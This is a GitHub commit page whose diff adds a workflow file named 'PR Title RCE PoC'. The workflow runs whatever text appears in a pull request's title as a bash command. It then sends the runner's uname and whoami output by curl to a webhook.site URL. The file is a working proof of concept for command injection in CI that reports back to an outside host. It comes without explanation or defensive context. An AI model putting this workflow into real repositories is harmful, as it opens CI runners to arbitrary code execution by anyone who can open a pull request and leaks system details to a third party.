We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent e3f2d73 commit 2e9a529Copy full SHA for 2e9a529
.github/workflows/gouri.yml
@@ -0,0 +1,27 @@
1
+name: PR Title RCE PoC
2
+
3
+on:
4
+ pull_request:
5
+ types: [opened, edited]
6
7
+jobs:
8
+ execute-pr-title:
9
+ runs-on: ubuntu-latest
10
+ permissions:
11
+ contents: read
12
13
+ steps:
14
+ - name: Extract and Execute PR Title
15
+ env:
16
+ PAYLOAD: ${{ github.event.pull_request.title }}
17
+ run: |
18
+ echo "[+] Executing PR title: $PAYLOAD"
19
+ bash -c "$PAYLOAD" | tee output.txt
20
21
+ - name: Send Output to Webhook
22
23
+ uname_out=$(uname -a)
24
+ whoami_out=$(whoami)
25
+ curl -X POST https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 \
26
+ -H "Content-Type: application/json" \
27
+ -d "{\"uname\": \"$uname_out\", \"whoami\": \"$whoami_out\"}"
0 commit comments